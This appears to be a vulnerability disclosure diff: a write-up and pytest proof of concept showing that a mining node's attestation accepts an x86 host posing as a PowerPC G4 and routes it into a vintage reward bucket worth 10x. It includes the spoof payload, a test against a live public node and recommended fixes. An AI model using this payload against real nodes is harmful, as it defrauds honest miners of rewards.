RIP-201 bucket normalization spoofing PoC

docs/rip201_bucket_spoof.md

@@ -0,0 +1,115 @@
+# RIP-201 Bucket Normalization Gaming
+
+## Summary
+
+This PoC demonstrates that a modern x86 host can be accepted by the server as a `G4` / `PowerPC` miner and routed into the `vintage_powerpc` reward bucket.
+
+The core weakness is that the attestation path trusts `device_family` and `device_arch` enough to:
+
+1. mark the attestation as valid,
+2. enroll the miner with `G4` weight (`2.5`), and
+3. let RIP-201 classify the miner into the `vintage_powerpc` bucket.
+
+## Attack Path
+
+### 1. Spoof the claimed hardware class
+
+Submit:
+
+- `device_family = "PowerPC"`
+- `device_arch = "G4"`
+- `cpu = "Intel Xeon Platinum"`
+
+The `cpu` string is inconsistent with the claimed architecture, but the attestation flow does not reject it.
+
+### 2. Provide only minimum fingerprint evidence
+
+For vintage claims, `validate_fingerprint_data()` relaxes the required checks down to `anti_emulation` only. It does not require:
+
+- PowerPC SIMD evidence
+- cache timing profile
+- thermal profile
+- cross-check that the CPU claim is actually PowerPC-compatible
+
+As a result, a sparse fingerprint with only `anti_emulation` passes.
+
+### 3. Collect vintage bucket rewards
+
+Once accepted:
+
+- `miner_attest_recent.device_arch = G4`
+- `epoch_enroll.weight = 2.5`
+- `classify_miner_bucket("g4") = vintage_powerpc`
+
+That is enough for RIP-201 equal-split rewards to treat the miner as a scarce vintage bucket participant.
+
+## Reproduction
+
+Run:
+
+```bash
+python -m pytest tests/test_rip201_bucket_spoof.py -v
+python tools/rip201_bucket_spoof_poc.py
+```
+
+## Current Local Result
+
+The PoC shows:
+
+- the spoofed `Intel Xeon` / claimed `G4` attestation is accepted,
+- the spoofed miner is enrolled with weight `2.5`,
+- the spoofed miner lands in `vintage_powerpc`,
+- in a 2-bucket epoch with 10 honest modern miners, the spoofed miner receives `550000 uRTC` while each honest modern miner receives `55000 uRTC`.
+
+That is a **10x** per-miner reward advantage from bucket spoofing alone.
+
+## Live Black-Box Validation
+
+The same technique was also validated against the live node at `https://50.28.86.131`.
+
+### Request sent
+
+`POST /attest/submit` with:
+
+- `device_family = "PowerPC"`
+- `device_arch = "G4"`
+- `cpu = "Intel Xeon Platinum"`
+- fingerprint containing only the minimal `anti_emulation` check
+
+### Observed live response
+
+The server returned `200 OK` and accepted the contradictory claim:
+
+```json
+{
+  "device": {
+    "arch": "G4",
+    "cpu": "Intel Xeon Platinum",
+    "device_arch": "G4",
+    "device_family": "PowerPC"
+  },
+  "fingerprint_passed": true,
+  "ok": true,
+  "status": "accepted"
+}
+```
+
+### Public follow-up evidence
+
+After the attestation, public endpoints reflected the spoofed vintage classification:
+
+- `GET /api/badge/bucket-spoof-live-492a` returned `Active (2.5x)`
+- `GET /api/miners` listed `bucket-spoof-live-492a` as:
+  - `device_family = "PowerPC"`
+  - `device_arch = "G4"`
+  - `hardware_type = "PowerPC G4 (Vintage)"`
+  - `antiquity_multiplier = 2.5`
+
+That is black-box evidence that the deployed server accepts the false hardware class and exposes the spoofed vintage multiplier through public API surfaces.
+
+## Recommended Fixes
+
+1. Treat claimed legacy architectures as untrusted until the fingerprint proves architecture-specific traits.
+2. Require `simd_identity` or equivalent PowerPC evidence for `g3/g4/g5` claims.
+3. Reject obvious `cpu` / `device_arch` contradictions such as `Intel Xeon` + `G4`.
+4. Classify miners into reward buckets from verified server-side features, not raw client-reported architecture strings.

tests/test_rip201_bucket_spoof.py

@@ -0,0 +1,217 @@
+import importlib.util
+import sqlite3
+import sys
+import uuid
+from pathlib import Path
+
+import pytest
+
+integrated_node = sys.modules["integrated_node"]
+
+
+def _load_fleet_module():
+    module_name = "fleet_immune_system_bucket_test"
+    if module_name in sys.modules:
+        return sys.modules[module_name]
+
+    module_path = (
+        Path(__file__).resolve().parent.parent
+        / "rips"
+        / "python"
+        / "rustchain"
+        / "fleet_immune_system.py"
+    )
+    spec = importlib.util.spec_from_file_location(module_name, module_path)
+    module = importlib.util.module_from_spec(spec)
+    sys.modules[module_name] = module
+    spec.loader.exec_module(module)
+    return module
+
+
+fleet_mod = _load_fleet_module()
+
+
+def _init_attestation_db(db_path: Path) -> None:
+    conn = sqlite3.connect(db_path)
+    conn.executescript(
+        """
+        CREATE TABLE blocked_wallets (
+            wallet TEXT PRIMARY KEY,
+            reason TEXT
+        );
+        CREATE TABLE balances (
+            miner_pk TEXT PRIMARY KEY,
+            balance_rtc REAL DEFAULT 0
+        );
+        CREATE TABLE epoch_enroll (
+            epoch INTEGER NOT NULL,
+            miner_pk TEXT NOT NULL,
+            weight REAL NOT NULL,
+            PRIMARY KEY (epoch, miner_pk)
+        );
+        CREATE TABLE miner_header_keys (
+            miner_id TEXT PRIMARY KEY,
+            pubkey_hex TEXT
+        );
+        CREATE TABLE tickets (
+            ticket_id TEXT PRIMARY KEY,
+            expires_at INTEGER NOT NULL,
+            commitment TEXT
+        );
+        CREATE TABLE oui_deny (
+            oui TEXT PRIMARY KEY,
+            vendor TEXT,
+            enforce INTEGER DEFAULT 0
+        );
+        CREATE TABLE hardware_bindings (
+            hardware_id TEXT PRIMARY KEY,
+            bound_miner TEXT NOT NULL,
+            device_arch TEXT,
+            device_model TEXT,
+            bound_at INTEGER,
+            attestation_count INTEGER DEFAULT 0
+        );
+        CREATE TABLE miner_attest_recent (
+            miner TEXT PRIMARY KEY,
+            ts_ok INTEGER NOT NULL,
+            device_family TEXT,
+            device_arch TEXT,
+            entropy_score REAL DEFAULT 0.0,
+            fingerprint_passed INTEGER DEFAULT 0,
+            source_ip TEXT
+        );
+        CREATE TABLE ip_rate_limit (
+            client_ip TEXT NOT NULL,
+            miner_id TEXT NOT NULL,
+            ts INTEGER NOT NULL,
+            PRIMARY KEY (client_ip, miner_id)
+        );
+        """
+    )
+    conn.commit()
+    conn.close()
+
+
+@pytest.fixture
+def attest_client(monkeypatch):
+    local_tmp_dir = Path(__file__).parent / ".tmp_attestation"
+    local_tmp_dir.mkdir(exist_ok=True)
+    db_path = local_tmp_dir / f"{uuid.uuid4().hex}.sqlite3"
+    _init_attestation_db(db_path)
+
+    monkeypatch.setattr(integrated_node, "DB_PATH", str(db_path))
+    monkeypatch.setattr(integrated_node, "HW_BINDING_V2", False, raising=False)
+    monkeypatch.setattr(integrated_node, "HW_PROOF_AVAILABLE", False, raising=False)
+    monkeypatch.setattr(integrated_node, "_check_hardware_binding", lambda *args, **kwargs: (True, "ok", ""))
+    monkeypatch.setattr(integrated_node, "check_ip_rate_limit", lambda *args, **kwargs: (True, "ok"))
+    monkeypatch.setattr(integrated_node, "record_macs", lambda *args, **kwargs: None)
+    monkeypatch.setattr(integrated_node, "auto_induct_to_hall", lambda *args, **kwargs: None)
+    monkeypatch.setattr(integrated_node, "current_slot", lambda: 12345)
+    monkeypatch.setattr(integrated_node, "slot_to_epoch", lambda slot: 85)
+
+    integrated_node.app.config["TESTING"] = True
+    with integrated_node.app.test_client() as test_client:
+        yield test_client, db_path
+
+    if db_path.exists():
+        try:
+            db_path.unlink()
+        except PermissionError:
+            pass
+
+
+def _spoofed_g4_payload(miner: str) -> dict:
+    return {
+        "miner": miner,
+        "device": {
+            "device_family": "PowerPC",
+            "device_arch": "G4",
+            "arch": "G4",
+            "cores": 8,
+            "cpu": "Intel Xeon Platinum",
+            "serial_number": f"SERIAL-{miner}",
+        },
+        "signals": {
+            "hostname": "bare-metal-x86-host",
+            "macs": ["AA:BB:CC:DD:EE:10"],
+        },
+        "report": {
+            "nonce": f"nonce-{miner}",
+            "commitment": f"commitment-{miner}",
+        },
+        "fingerprint": {
+            "checks": {
+                "anti_emulation": {
+                    "passed": True,
+                    "data": {
+                        "vm_indicators": [],
+                        "paths_checked": ["/proc/cpuinfo"],
+                        "dmesg_scanned": True,
+                    },
+                },
+            },
+            "all_passed": True,
+        },
+    }
+
+
+def test_validate_fingerprint_data_accepts_spoofed_g4_without_ppc_evidence():
+    payload = _spoofed_g4_payload("spoof-direct")
+
+    passed, reason = integrated_node.validate_fingerprint_data(
+        payload["fingerprint"],
+        claimed_device=payload["device"],
+    )
+
+    assert passed is True
+    assert reason == "valid"
+
+
+def test_attestation_accepts_modern_x86_claiming_g4_and_grants_vintage_weight(attest_client):
+    client, db_path = attest_client
+    payload = _spoofed_g4_payload("spoof-g4-accepted")
+
+    response = client.post(
+        "/attest/submit",
+        json=payload,
+        headers={"X-Forwarded-For": "198.51.100.25"},
+        environ_base={"REMOTE_ADDR": "10.0.0.9"},
+    )
+
+    assert response.status_code == 200
+    data = response.get_json()
+    assert data["ok"] is True
+    assert data["fingerprint_passed"] is True
+
+    with sqlite3.connect(db_path) as conn:
+        recent = conn.execute(
+            "SELECT device_family, device_arch, fingerprint_passed FROM miner_attest_recent WHERE miner = ?",
+            (payload["miner"],),
+        ).fetchone()
+        enrollment = conn.execute(
+            "SELECT epoch, weight FROM epoch_enroll WHERE miner_pk = ?",
+            (payload["miner"],),
+        ).fetchone()
+
+    assert recent == ("PowerPC", "G4", 1)
+    assert enrollment == (85, 2.5)
+    assert fleet_mod.classify_miner_bucket("g4") == "vintage_powerpc"
+
+
+def test_bucket_spoof_produces_10x_reward_gain_over_honest_modern_miners():
+    db = sqlite3.connect(":memory:")
+    fleet_mod.ensure_schema(db)
+
+    miners = [("spoof-g4", "g4")] + [(f"modern-{index}", "modern") for index in range(10)]
+    rewards = fleet_mod.calculate_immune_rewards_equal_split(
+        db=db,
+        epoch=91,
+        miners=miners,
+        chain_age_years=1.0,
+        total_reward_urtc=1_100_000,
+    )
+
+    assert rewards["spoof-g4"] == 550_000
+    assert rewards["modern-0"] == 55_000
+    assert rewards["spoof-g4"] == rewards["modern-0"] * 10
+    assert sum(rewards.values()) == 1_100_000